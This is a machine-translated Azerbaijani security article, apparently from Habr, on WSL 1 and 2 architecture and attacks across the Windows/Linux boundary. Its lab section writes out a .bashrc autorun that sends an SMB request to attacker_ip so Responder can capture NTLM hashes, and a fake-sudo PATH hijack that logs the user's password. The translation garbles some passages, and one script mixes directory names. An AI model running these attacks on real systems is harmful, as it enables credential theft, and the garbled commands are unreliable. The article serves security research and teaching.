WSL təcrübələri. 1-ci hissə

Salam, habr! OTUS oktyabr ayında yeni kurs axınına başlayır "Linux Təhlükəsizliyi". Kursun başlaması ərəfəsində müəllimlərimizdən biri Aleksandr Kolesnikovun yazdığı məqaləni sizinlə paylaşırıq.

WSL təcrübələri. 1-ci hissə

2016-cı ildə Microsoft İT icmasına yeni WSL texnologiyasını təqdim etdi (Wbəxş edir Süçün alt sistem Linux), bu, gələcəkdə həm adi, həm də qabaqcıl OS istifadəçiləri arasında populyarlıq uğrunda mübarizə aparan əvvəllər barışmaz rəqibləri birləşdirməyə imkan verdi: Windows və Linux. Bu texnologiya, məsələn, Multi-boot istifadə edərək, Linux-u işə salmağa ehtiyac olmadan Windows mühitində Linux ƏS alətlərindən istifadə etməyə imkan verdi. Habr-da siz WSL-dən istifadənin faydalarını təsvir edən çoxlu sayda məqalə tapa bilərsiniz. Ancaq təəssüf ki, bu məqalənin yaradılması zamanı bu resursda əməliyyat sistemlərinin belə bir simbiozunun təhlükəsizliyinə dair heç bir araşdırma tapılmadı. Bu yazı bunu düzəltmək cəhdi olacaq. Məqalədə WSL 1 və 2 arxitekturasının xüsusiyyətlərindən danışılacaq və bu texnologiyalardan istifadə edən sistemlərə hücumların bir neçə nümunəsi araşdırılacaq. Məqalə 2 hissəyə bölünür. Birincisi, Linux və Windows-dan əsas nəzəri hücum üsullarını təqdim edəcəkdir. İkinci məqalə sınaq mühitinin yaradılması və hücumların təkrar istehsalı ilə bağlı olacaq.

WSL 1: memarlıq xüsusiyyətləri

WSL təhlükəsizlik məsələlərinə ən dəqiq dalış üçün alt sistemin həyata keçirilməsi ilə bağlı əsas nüansları müəyyən etmək lazımdır. WSL tərəfindən həll edilən əsas istifadəçi vəzifələrindən biri Windows OS ilə işləyən hostda Linux terminalı vasitəsilə işləmək bacarığıdır. Həmçinin, təklif olunan uyğunluq o qədər yerli idi ki, Linux icra sənədləri (ELF) birbaşa Windows sistemində işlədilə bilərdi. Bu məqsədlərə nail olmaq üçün Windows 10-da xüsusi sistem zəngləri toplusundan istifadə edərək Linux proqramlarını işə salmağa imkan verən xüsusi alt sistem yaradılmışdır - beləliklə, Windows-da bir sıra Linux sistem zənglərinin xəritələşdirilməsinə cəhd edilmişdir. Bu, yeni sürücülərin və yeni proses formatının əlavə edilməsi ilə fiziki olaraq həyata keçirildi. Vizual olaraq memarlıq belə görünürdü:

WSL təcrübələri. 1-ci hissə

Əslində, Linux əməliyyat sistemi ilə qarşılıqlı əlaqə bir neçə nüvə modulu və xüsusi bir proses növü - pico vasitəsilə təşkil edilmişdir. Yuxarıdakı diaqramdan görə bilərsiniz ki, hostda Linux instansiyasında işləyən proses yerli olmalıdır və adi Windows proqramları ilə eyni resurslardan istifadə etməlidir. Bəs buna necə nail olmaq olar? Layihədə Drawbridge Başqa bir ƏS-nin tətbiqini işə salmaq üçün əməliyyat sisteminin bütün zəruri komponentlərini (versiyasından asılı olaraq) təmin edən Windows üçün proses konsepsiyaları hazırlanmışdır.

Qeyd edək ki, təklif olunan abstraksiya başqa bir ƏS-in prosesinin işə salınacağı gözlənilən əməliyyat sisteminə (xüsusən də Windows) diqqəti cəmləməməyə imkan verib və ümumi yanaşma təklif edib.

Beləliklə, piko prosesindəki istənilən proqram Windows nüvəsindən asılı olmayaraq işləyə bilər:

  1. Sistem zənglərinin uyğunluğu və tərcüməsi problemləri xüsusi provayderlər tərəfindən həll edilməlidir;
  2. Giriş nəzarəti Təhlükəsizlik Monitoru vasitəsilə həyata keçirilməlidir. Monitor nüvədə yerləşir və buna görə də Windows-un bu cür proseslər üçün provayder kimi çıxış edə biləcək yeni sürücü şəklində təkmilləşdirməyə ehtiyacı var. Prototip piko prosesi sxematik şəkildə aşağıda təqdim olunur:

WSL təcrübələri. 1-ci hissə

Linux fayl sistemi hərf-həssas fayl və kataloq adlarından istifadə etdiyi üçün WSL ilə işləmək üçün Windows-a 2 növ fayl sistemi əlavə edildi - VolFS və DriveFS. VolFS Linux fayl sisteminin tətbiqidir, DriveFS Windows qaydalarına uyğun işləyən, lakin hərf həssaslığını seçmək qabiliyyətinə malik fayl sistemidir.

WSL 2

WSL 1-də bir sıra məhdudiyyətlər var idi ki, bu da ondan maksimum tapşırıqlar diapazonunu həll etmək üçün istifadə etməyə imkan vermirdi: məsələn, onun 32 bitlik Linux proqramlarını işə salmaq imkanı yox idi və qurğu drayverlərindən istifadə etmək mümkün deyildi. Buna görə də, 2020-ci ildə WSL 2 buraxıldı ki, bu da alt sistemin qurulmasına yanaşmanı dəyişdirdi. WSL 2, WSL 1-in resurs istehlakı xüsusiyyətlərinə uyğun gələn optimallaşdırılmış virtual maşındır. İndi, Windows OS istifadəçisi tərəfindən həll edilən problemlərdən asılı olaraq, Linux alt sisteminin tələb olunan versiyasını seçə bilərsiniz. Mümkün zəiflikləri azaltmaq üçün WSL 2 Windows 10-da Hyper-V əsasında həyata keçirilib. Bu formada Windows Linux əməliyyat sisteminin nüvəsini təcrid olunmuş şəkildə idarə etmək imkanına malikdir. Yadda saxlamaq lazımdır ki, WSL-in 1-ci versiyası bu sahədə Windows-un inkişafının istiqamətini göstərməli olan beta funksiyası kimi təqdim edilmişdi, ona görə də Hyper-V-ə keçid qaçılmaz idi. Son memarlıq belə görünür:

WSL təcrübələri. 1-ci hissə

Bu versiyada Windows və Linux nüvələrinin öz resursları var və kəsişmə yalnız fayl sistemində mövcuddur, lakin bu kəsişmə tam deyil. Fayl sistemləri arasında qarşılıqlı əlaqə 9P protokolundan istifadə edərək işləyən müştəri-server paketi vasitəsilə həyata keçirilir.

Bu gün Microsoft WSL 1 və WSL 2 arasında keçid imkanı verir. Hər iki versiya istifadə üçün əlçatandır.

WSL Təhlükəsizliyi

Hal-hazırda, alt sistemlər arasında əlaqəyə hücum etmək üçün qanuni ƏS alətlərindən istifadə etmək üçün bəzi yanaşmaları təsvir edən bir neçə əsər var. Yazı zamanı hücumların aktuallığını yoxlamaq üçün onların skriptlərindən istifadə edəcəyik. Hücumların və ssenarilərin ümumi siyahısı:

1. Fayl sisteminin tətbiqi: giriş hüquqları, paylaşılan kataloqların/məlumat mübadiləsi mexanizmlərinin mövcudluğu.

Giriş qaydalarının pozulması hallarının müəyyən edilməsi üçün araşdırma aparılıb Linux FS->Windows FS, Windows FS->Linux FS. Tədqiqat hədəf OS daxilində verilmiş faylı dəyişdirmək qabiliyyətini nümayiş etdirdi. Fayl sistemlərinin bir hissəsini əvəz etmək, dublikat yaratmaq və silmək cəhdləri də edilib.

Ssenari:

  • A. Windows əməliyyat sistemindən hücum - Linux ƏS-nin /etc kataloqundan faylların modifikasiyası.
  • B. Linux əməliyyat sistemindən hücum - kataloqlardakı faylların modifikasiyası: C:Windows, C:Program Files, C:Users<User>

2. Şəbəkə yığınının həyata keçirilməsi.

Tədqiqat Windows-da Linux əməliyyat sistemindən edilən hücum nümunələrindən istifadə edilməklə aparılıb. Şəbəkə yığınının xüsusiyyətlərindən, yəni müxtəlif resurslarda autentifikasiya mexanizmlərindən istifadə edilmişdir.

Ssenari:

  • Windows sistemində olan porta girişin açılması
  • Müvafiq hüquqlar olmadan limanın açılması
  • Windows əməliyyat sistemində elf faylından istifadə edərək tərs qabığın işlədilməsi.

3. WSL alt sistemindən istifadə edərək zərərli proqram təminatı proseslərinin işə salınmasının gizlədilməsi.

Tədqiqat sadə bir fakta əsaslanırdı - təhlükəsizlik alt sistemləri WSL 1 vəziyyətində əməliyyat sisteminin qanuni provayderindən istifadə edərək işləyən başqa nüvədəki hadisələrə müdaxilə edə bilməz. WSL 2 vəziyyətində baş verən hadisələrə baxmaq imkanı yoxdur. yüngül virtual maşın daxilində ayrı bir nüvədə.

Ssenari:

1) Sistemə uzaqdan daxil olmaq üçün proqramı işə salın və daxil edilmiş hadisələrə baxın.

WSL 1 təcrübələri: hash ələ keçirmə (Windows)

Nəhayət praktiki hissəyə gəldik. Əvvəlcə test mühitini qurmalısınız. Bütün təcrübələr Windows 10 2004 quraşdırılmış skamyada aparılacaq.WSL üçün əməliyyat sistemi şəkli kimi Ubuntu 18.04 şəkli seçilmişdir. Şəkil təsadüfi seçildi və hər hansı digəri eyni işləyəcək. Stend qurmaq üçün əmrlər:

Əvvəlcə işə salmalısınız powershell.exe idarəçi olaraq.

WSL 1 üçün əmrləri yerinə yetirməlisiniz:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Stendi yenidən işə saldıqdan sonra bash əmrinə zəng edə bilərsiniz. Hər şey düzgün işləmişdirsə, Windows konsolunda buna bənzər çıxışı görəcəksiniz:

    WSL təcrübələri. 1-ci hissə

    Təcavüzkarın maşını kimi Kali Linux paylanmasından istifadə edəcəyik; bütün maşınlar eyni lokal şəbəkədə olmalıdır.

    Fərz edək ki, Windows maşınında WSL-ə imtiyazsız girişimiz var. Linux-dan komanda çağıraraq Linux əməliyyat sisteminə hücum etməyə çalışaq. Hücumun həyata keçirilməsi üçün sadə autorun texnikasından istifadə edəcəyik - Linux mühitində icra üçün skriptimizi əlavə edəcəyik. Bunu etmək üçün faylı dəyişdirməlisiniz .bashrc.

    WSL ilə bir maşında biz icra edirik:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux maşınında işlədirik:

    1. Responder -I eth0 -rdvw

    Windows maşınında bash-ı işə salaq.

    Kali Linux maşınında nəticəni gözləyirik:

    WSL təcrübələri. 1-ci hissə

    Beləliklə, Linux sistemində əmri yerinə yetirərək WSL alt sistemi vasitəsilə Windows istifadəçi heshlərini əldə etdik.

    WSL 1 təcrübələri: istifadəçi parolunun əldə edilməsi (Linux OS)

    Gəlin daha bir təcrübə edək. Bu yoxlama zamanı biz fayla əlavə edəcəyik .bashrc Linux əməliyyat sisteminin istifadəçi parolunu əldə etmək üçün bir neçə əmr.

    Gəlin bash-ı işə salaq və əmrləri daxil edək:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Hücumu uğurla başa çatdırmaq üçün istifadəçi Sam Linux terminalında sudo-ya zəng etməlidir. Bundan sonra Linux OS istifadəçi parolu faylda olacaq pass.txt:

    WSL təcrübələri. 1-ci hissə

    Hücumların həyata keçirilməsi yalnız nəzəri məlumat üçün verilib.

    Məqalənin növbəti hissəsində 9P protokolunun tətbiqi təsvir ediləcək, bu protokol üçün skanerin yaradılması nəzərdən keçiriləcək, həmçinin ondan istifadə edərək hücum həyata keçiriləcək.

    İstifadə olunmuş ədəbiyyat siyahısı

    WSL təcrübələri. 1-ci hissə

    Daha çox oxu

    Mənbə: www.habr.com

    Добавить комментарий